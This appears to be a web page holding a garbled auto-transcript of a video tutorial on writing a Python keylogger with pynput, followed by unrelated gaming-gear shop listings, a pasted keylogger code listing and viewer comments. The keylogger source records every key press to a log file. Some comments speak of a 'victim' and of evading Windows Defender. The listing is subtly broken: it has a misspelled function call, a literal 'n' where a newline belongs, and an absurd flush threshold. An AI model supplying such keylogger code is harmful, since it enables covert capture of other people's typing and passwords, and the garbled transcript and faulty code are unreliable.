Create a Keylogger with Python – Tutorial
Video Title: Create a Keylogger with Python – Tutorial
For more videos like this feel free to check out my website tech with Tim net and subscribe to my channel tech with them in this video I’m going to be showing you how to log user key presses and save those key presses in a meaningful way in a text file now the
Module that we’re going to be using for this is PI input you can see right here this is what it’s called it is a third party module not included with the default installation of Python which means our first step in this video is going to be installing PI input so what
We need to do is obviously we have to go to our command prompt because rich can use pip to do this pretty straightforward bring up your command prompt simply type pip install and then PI and input okay so just forget the I there wait for that to run and once I goes
Through you should have PI input installed for some reason your pip is not working reinstall Python and when you reinstall python make sure you add or check the box that says add python to path and install pip okay and that should fix your issue if you’re having
Any other problems leave a comment down below okay so we’re first what we need to do is we’re gonna set up a we need to actually bring these imports in so we need to import PI input and then from PI input keyboard we’re gonna import key and we’re gonna input listener now
Listener is what’s gonna listen for our key events so let’s start by writing that so what we need to do is we’re just going to say with and then listener then we’re gonna have some brackets like this and we’re gonna say on underscore press equals on underscore press just follow
Along with this for one second and then on underscore release is gonna equal on underscore release like that now these on press and on release are what we’re gonna code in just a second and these are gonna be the functions that are called when a key is pressed
And when a key is released feel free to change these names if you’d like to okay and we’re just gonna say as now listener except this is gonna be lower case and then in this loop we’re simply gonna do listener dot join okay and what this is
Going to do is just constantly keep running this loop until we break out of it and you’ll see that in a second so now I need to create actions on press and on release so we’re gonna do is we’re going to say define on
Press this is going to take a key and it will just pass in here and then we’re going to define on release same thing in here a key and we will pass now actually what we’re gonna do on on press is we’re just gonna print out the key just so we
Can see this working first of all and then we’ll move into some other stuff so just gonna print and then this is a fancy way to print this key out you don’t have to do it this way if you don’t want to but we’re just gonna dot
Format this with key so that it throws it in there like that okay so this is just simply gonna put key in our string okay so on release we’re gonna add one bit of functionality just to make sure that we’re able to break out of this
Loop and you will see that in one second so we’re gonna say if key equals equals key dot and then ESC which stands for escape we’re going to return false and all this is gonna do is break out of this loop if we hit the Escape key
So now let’s test our program and see if everything is working okay so we can see that we get the window up here and if I start typing some stuff you can see it says jsj SS and then it just tells me exactly what keys I hit now if I hit
Like the shift key or the caps lock key it’ll tell me all those as well okay so now that we have that that’s great but we want to actually do something meaningful with this so right now it’s just giving us like a bunch of letters
And these keys like this we want to save this into probably a text file or something that we’re gonna be able to look at because most likely if you’re creating a key logger you probably want to do something with the keys that are being pressed so what I’m gonna do is
I’m gonna implement a few variables here and explain what they do in just a second so I’m just gonna start by saying count equals zero Keys equals a blank list and then inside of on press I’m gonna say global keys and count now I’m also gonna create another function here
And this one is gonna be called write underscore file and what this is gonna do is exactly what it says it’s going to write to a file so what we’re gonna say is going to say with open and then a text file name whatever you want in this
Case mines log txt and then we’re gonna put a mode here okay now if the first time you’re running this you don’t have a text file created and you’re too lazy to make one cold for whatever you want to call it just put this as W because what
W does is it means right and if that file does not exist it’s simply going to create one so the first time you run it W works fine but after that you have to use a okay we’re gonna do with open log dot txt it in a penned mode that’s what
That stands for as F and sorry this needs to take keys and all we’re gonna do in here is we’re gonna loop through all the keys and we’re just gonna write them into the file so four key and keys and then we’ll simply do F right key
Like that and this is going to write all of our keys into the file for us now you might ask well okay what’s the point of this keys list and this count variable well the thing is if our user somehow able is able to break the program or
Like quit out of the program we want to make sure that we’re not just writing this at the end because say for example the users on the computer for like an hour and they’re typing stuff and we’re storing all their keys in this key list
And then all of a sudden they quit the program somehow without hitting the Escape key none of that is gonna be written to the text file so what this count variable is gonna allow us to do when I implement it in just a second is every so many keys we’re going to update
The text file so this way we’re not constantly rewriting it every second but after the user hits a certain amount of keys then we’re going to load that or write all that data into the text file so I guess I should probably add to our keys list if we’re gonna be using that
So whenever the user hits a key we’re just gonna do keys dot append that key we’re gonna add one to count so count plus equals count plus equals one like that and we can continue to print this if you want although it’s not gonna be necessary because everything is gonna go
In our log txt file now what I’m also going to do in fear is I’m just gonna throw a little if statement I’m gonna say if count is greater than or equal to and you can pick what number you want to do here I’m just gonna pick 10 so this
Means every 10 keys is how often we’re gonna update the file now obviously if you think this can be running for a long time we I’m gonna make this longer or larger you could make it one you could not have the count variable if you want do whatever you want for this okay
Now I say we’re gonna reset our counts equals zero we’re going to write to our file passing it our keys list which is up here and it’s gonna have stored all these keys and then we’re just gonna reset keys and keys is gonna be equal to
Blank like this okay so that is I think at least should be working let’s try this out oh wow the whole time I was typing that was recording my keys okay anyways let’s see here if I start typing hello my name is oh and we get an issue
Right argument must be a string not key code I forgot about that so pretty much in here just getting mad at us because we don’t have string so just throw string in there and then it should work okay let’s try this again okay and hit escape and then we’re gonna go in log
Txt okay and here we go so that was from previous runs and now look at this well it did what we wanted it to do it printed all the things into our text file but this is not meaningful information and we probably want it to look a little bit better than this and
Not have quotations and not have backspace keys so I’m gonna show you how we can do that right now so let’s just clear this file save that and now let’s deal with right file here so we’re not writing these ridiculous characters into our text file so what I want to do is I
Want to write each word that the user types into one line so the way I’m gonna do that is every time the user hits the space key I’m going to add a new line to the file so first of all what I want to do is every time we’re looping through
Keys I’m gonna say K is equal to STR key and I’m gonna say dot not remove replace and then quotation comma blank space now what this does is remove the quotation marks so if you remember int and here we had something that looked like actually what single quotation marks my bad like
Three like if you hit that that key would come up and go Taoiseach mark so this is just gonna remove that for us I don’t know why it shows up in quotation marks but anyways so that’s gonna turn it into a string replace the quotation
Marks now that we have it in a form that we can read properly we’re first of all just going to check if this is a space character so if the user hit the spacebar so the way that we can do this we can say if kay
Don’t find this is kind of the cheap way to do it but we’re just going to do this dot spate a space in here equals equals we’re actually is greater than zero so what this fine is gonna do is it’s gonna look in the key because whenever we hit
The space bar it does something like this does like key dot space okay that’s what’s returned does key so we’re gonna look for space in our string we’re gonna find that if it occurs more than one are more than zero times so once then we’re going to write a space character to our
Line so in this case we’re actually just gonna add a new line the way we add a new line in a file is just backslash n this just a notes like go to the next line okay all right after this we’re also gonna check so if it’s space that’s
Fine but if it is any of the other keys like command shift backspace we don’t want to write that into our file we don’t want it to say like backspace or command so I’m just gonna say if and then when I say it say L if K dot find
And then key equals equals negative one now what happens in find is if it doesn’t find the string that you’re looking for and I guess I better actually put a capital cakes I’m pretty sure it’s capital then it returns us negative one value so if key does not
Exist meaning that we hit a key like QW like any of the letters of the number keys then we will simply write that into the file so we’ll say F dot right and then whatever K was so that key okay and I will just show you this working now
And then explain it really quickly so if we run this I start typing hello my name is and I’ll backspace a few times space add some stuff okay and get rid all of that and close the file or close the program sorry you can see we get why
Hello my name is space space space space space space hello and then we get a bunch more spaces and that is because whenever you hit the space key right it’s adding a new line so we could now check if the line before that is blank then let’s not continue to do that or
Whatever like stuff like that and you can continue and checking all these different keys and seeing what they are but this is all I’m gonna show you for right now knowing this you have a basis for how to get keys how to store them in
A text file and you guys can play around with creating a better key logger I don’t to make this video too long so that’s all I’m going to show you today if this helped you out please make sure you leave a like and subscribe and I’ll see you again in another tutorial
-
Sale!
Wireless WIFI Repeater Extender Amplifier Booster 300Mbps
$29.99$14.99 Add to cartWireless WIFI Repeater Extender Amplifier Booster 300Mbps
Categories: Electronics, Wi-Fi Router, Wireless Wi-Fi Extender Tags: 300Mbps, 802.11N, Amplifier, Booster, Extender, mobile wi-fi booster, Remote, WIFI, Wireless, Wireless WIFI, Wireless WIFI Repeater, Wireless WIFI Repeater Extender, Wireless WIFI Repeater Extender Amplifier, Wireless WIFI Repeater Extender Amplifier Booster, Wireless WIFI Repeater Extender Amplifier Booster 300Mbps$29.99$14.99 -
Sale!
Full RGB Light Design Gaming Headset Headphones with Mic
$24.99$14.99 Add to cartFull RGB Light Design Gaming Headset Headphones with Mic
Categories: Electronics, Gaming, Gaming Headsets Tags: Design, Full, Full RGB Light Design Gaming Headset, Full RGB Light Design Gaming Headset Headphones, Full RGB Light Design Gaming Headset Headphones with Mic, Gamer, Gaming, Gaming Headset Headphones, gaming headset wireless, Headphone, Headphones, Headset, Light, Mic, Package, RGB$24.99$14.99 -
Sale!
Wireless BlueTooth Multi-Device Keyboard Mouse Combo
$39.99$19.99 Add to cartWireless BlueTooth Multi-Device Keyboard Mouse Combo
Categories: Electronics, Gaming, Gaming Keyboards, Keyboard Mouse Combos Tags: Combo, Keyboard, keyboard mouse combos, Mouse, MultiDevice, Set, WireKeyboard Mouse Combo, Wireless, Wireless BlueTooth Keyboard Mouse Combo, Wireless BlueTooth Keyboard Mouse Combos, Wireless BlueTooth Multi-Device Keyboard Mouse Combo, Wireless BlueTooth Multi-Device Keyboard Mouse Combos$39.99$19.99 -
Sale!
High Back Leather Executive Adjustable Swivel Gaming Chair with Headrest and Lumbar
$199.99$139.99 Add to cartHigh Back Leather Executive Adjustable Swivel Gaming Chair with Headrest and Lumbar
Categories: Gaming, Gaming Chairs Tags: Adjustable, Chair, computer chairs, Desk, Executive, Gaming, Girl, Headrest, High, High Back Leather Executive Adjustable Swivel Gaming Chair, High Back Leather Executive Adjustable Swivel Gaming Chair with Headrest, High Back Leather Executive Adjustable Swivel Gaming Chair with Headrest and Lumbar, High Back Leather Executive Adjustable Swivel Gaming Chairs, Leather, Lumbar, Office, Racing, Swivel$199.99$139.99 -
Sale!
Professional LED Light Wired Gaming Headphones with Noise Cancelling Microphone
$29.99$19.99 Select optionsProfessional LED Light Wired Gaming Headphones with Noise Cancelling Microphone
SKU: N/A Categories: Electronics, Gaming, Gaming Headsets Tags: Cancelling, Gaming, Gaming Headphones with Noise Cancelling Microphone, gaming headset, Headphones, Headset, LED, Light, Mic, Microphone, Noise, Professional, Professional LED Light Wired Gaming Headphones, Professional LED Light Wired Gaming Headphones with Noise Cancelling Microphone, Wired, Wired Gaming Headphones, Wired Gaming Headphones with Noise Cancelling Microphone$29.99$19.99 -
Sale!
Gaming Desk with LED Lights USB Power Outlets and Charging Ports
$349.99$249.99 Select optionsGaming Desk with LED Lights USB Power Outlets and Charging Ports
SKU: N/A Categories: Computer Desk, Gaming, Gaming Desk Tags: and Charging Ports, Charging, Desk, Desks, Gaming, gaming desk with led lights, Gaming Desks with LED Lights, Home, LED, Lights, Monitor, Office, Outlets, Port, Power, Room, Stand, USB, USB Power Outlets, White, Workstation$349.99$249.99 -
Sale!
Wired Mixed Backlit Anti-Ghosting Gaming Keyboard
$99.99$79.99 Add to cartWired Mixed Backlit Anti-Ghosting Gaming Keyboard
Categories: Electronics, Gaming, Gaming Keyboards Tags: Antighosting, Backlit, Blue, brown, Gaming, Gaming Keyboard, gaming keyboards, gaming keyboards and mouse, Keyboard, Laptop, Switch, Wired, Wired Mixed Backlit Anti-Ghosting Gaming Keyboard, Wired Mixed Backlit Anti-Ghosting Gaming Keyboards, Wired Mixed Backlit Gaming Keyboard$99.99$79.99 -
Sale!
Wireless Bluetooth 5.3 ANC Noise Cancellation Hi-Res Over the Ear Headphones Headset
$119.99$59.99 Add to cartWireless Bluetooth 5.3 ANC Noise Cancellation Hi-Res Over the Ear Headphones Headset
Categories: Electronics, Gaming, Gaming Headsets Tags: 5.3 ANC Noise Cancellation Hi-Res Over the Ear Headphones Headset, ANC, Audio, Bluetooth, Cancellation, Ear, Earphone, gaming headset, Headphones, Headset, Hi-Res Over the Ear Headphones Headset, HiRes, Noise, Wireless, Wireless Bluetooth 5.3 ANC Noise Cancellation Hi-Res Headphones, Wireless Bluetooth 5.3 ANC Noise Cancellation Hi-Res Over the Ear Headphones Headset, Wireless Bluetooth 5.3 ANC Noise Cancellation Hi-Res Over the Ear Headphones Headsets$119.99$59.99 -
Sale!
Wired Sports Gaming Headset Earbuds with Microphone
$19.99$9.99 Select optionsWired Sports Gaming Headset Earbuds with Microphone
SKU: N/A Categories: Gaming, Gaming Headsets Tags: Accessories, Earbud, Earphone, Earphones, Gaming, gaming headset with microphone, Headphones, Headset, IOS, Microphone, Sports, Wired, Wired Sports Gaming Headset Earbuds, Wired Sports Gaming Headset Earbuds with Microphone, Wired Sports Headset Earbuds$19.99$9.99 -
Sale!
150W Universal Multi USB Fast Charger 16 Port MAX Charging Station
$49.99$29.99 Add to cart150W Universal Multi USB Fast Charger 16 Port MAX Charging Station
Categories: Charging Stations, Electronics Tags: 150W, 150W Charging Station, 150W Universal Multi USB Charging Station, 150W Universal Multi USB Fast Charger 16 Port MAX Charging Station, 150W Universal Multi USB Fast Charger 16 Port MAX Charging Stations, 150W Universal Multi USB MAX Charging Station, 16 Port MAX Charging Station, 3.5A, Charger, Charging, Fast, laptop charging stations, Max, Multi, Port, Stand, Station, Universal, USB$49.99$29.99
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0} pressed".format(key))
if count >= 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000:
count = 0
wite_file(keys)
keys = []
def write_file(keys):
with open("log.txt", "a") as f:
for key in keys:
k = str(key).replace("'","")
if k.find("space") > 0:
f.write('n')
elif k.find("Key") == -1:
f.write(k)
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
💯
one thing guys, this file might get deleted because scripts are detected as threats to your windows defender and also your antivirus
you can simply use a string to keep adding the inputs without the need of using a list because strings also considered a sequence, instead of appending to a list by using keys.apoend() you can simply use an empty string like this keys = " " and then keep adding input letters like this keys += "any letter" then after 10 words just set it to an empty one like this keys = " "
why my python looks like cmd only not the same as yours.
its not working. I have done everything you have done. its saying 4 error have occurred and it cannot import "key" on line 3. I am 3:27 in the video and don't know what to do.
Exception has occurred: NameError
name 'key' is not defined
are you using python or pycharm
trash
how can i see the keylog in visual studio code?
(first time every with python)
Perfect thank you 😀
Error showing at last in f. Write. What to do
Does the "victim" have to have python installed
Fun fact: when i run it Windows detected and delete the python code
When I run the code I get the following message: "This process is not trusted! Input event monitoring will not be possible until it is added to accessibility clients."
What to do? (on mac- High sierra, with visual studio)
Thank you
NOOOOOOOOOOOOOOO my progress got deleted cuz of windows defender!
back spacing and spacebar causes an error
Thank you, it was very useful. 😍
my code wont run and i don't know why
thanks man i was just trying to sort with the problem of the pip module. I can't help me out of this hilarious problem. Because I've made a keylogger by my own but every time the import function was going wrong. So, I am very thankful to you and I will never forget ur gesture
Horrible theme color, we can read nothing
Bro the file keeps deleting itself
i am going insane here, i build a custom keylogger not like in this video, cant be detected by Windows Defender but it writes 2-3 times the same character in my logfile. trying your method doesnt work as well and you method is detected by windows defender
I do not understand why the coders who already know how to do this stuff watching this video and adding their expert opinion.
Seriously, you ain't got nothing better to do.
I'm kind of both bitter and sweet, my windows defender deleted my progress. Kudos for it working, but now i gotta redo everything ;-;
xD I tried it and my conputer didn't stopped yelling for a menace in my system and deleting my file… seems like it works fine
I'm using atom and got it to work with some searching but for some reason when I run it through atom it doesnt want to print to atom but when I run the .py file in the file manager it will print to the .txt file and for some reason it prints 3 letters for every 1 press of the key so it will look like "hhheeellllllooo"
Hi im 35 and I just started my journey into technology realm, currently I am learning to pass compTIA exams, will I ever understand what you just did in that video? 🙂